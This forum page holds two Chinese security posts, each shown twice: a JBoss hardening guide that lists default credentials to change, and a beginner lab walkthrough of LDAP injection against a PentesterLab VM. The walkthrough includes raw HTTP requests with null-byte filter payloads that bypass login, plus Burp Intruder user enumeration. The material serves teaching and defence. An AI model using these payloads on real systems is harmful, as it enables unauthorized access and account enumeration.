JBOSS 最佳安全配置实践

ttgo2 发表了文章 • 0 个评论 • 362 次浏览 • 2018-08-22 18:28 • 来自相关话题

简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
  查看全部
简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
 

LDAP 注入(Injection)入门学习

ttgo2 发表了文章 • 0 个评论 • 440 次浏览 • 2018-08-22 18:05 • 来自相关话题

今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念




dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:






四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
响应报文:





 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:






GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder






step2:增加变量,具体见截图






step3,增加变量字典






step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:







五 、修复建议
[]客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/] 查看全部
今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:
LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御
一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念

ldap.png
dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数
1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:

QQ截图20180816110003.png


四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
